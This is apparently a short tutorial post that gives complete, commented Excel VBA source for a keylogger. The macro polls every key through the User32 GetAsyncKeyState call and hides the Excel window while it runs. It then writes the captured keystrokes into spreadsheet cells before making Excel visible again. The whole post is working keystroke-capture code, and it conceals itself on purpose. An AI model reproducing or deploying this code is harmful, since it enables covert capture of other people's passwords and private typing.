VBA – Keylogger

[vb]

‘declare some variables that we are going to need later
Dim i, e As Long
Dim s As String
Dim b As Integer
Dim result As Long

‘the declaration allows us to call a function in the User32.dll that will tell us what key is pressed
Public Declare Function GetAsyncKeyState Lib “User32” (ByVal vKey As Long) As Long

‘to run the key logger you will run the macro called loK
Sub loK()
e = 1
b = 0
‘we can hide the Excel application from view to hide the key logger
Application.Visible = False
‘the amount of time the key logger will run for
f = Now() + TimeValue(“00:00:15”)

‘this loop will stop when the time above run out
Do While Now() < f
‘the GetAsyncKeyState function will return a value of -32767 for any key that is pressed
‘we cycle thru all 255 possible keys to check which one has a value of -32767
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
‘if we find a key that is pressed we attach to our string
If result = -32767 Then s = s + Chr$(i)
Next i
‘every time we collect 100 characters we right them to a new column in the Excel sheet
If Len(s) = 100 Then
Cells(e, 1).Value = s
‘each batch of 100 characters are written to a new row
e = e + 1
s = “”
End If
Loop

‘when the time we set above expires we write the remaing characters to a new row
Cells(e, 1).Value = s
s = “”
‘ we bring the Excel application to view so we can see the log of charaters
Application.Visible = True
End Sub

 [/vb]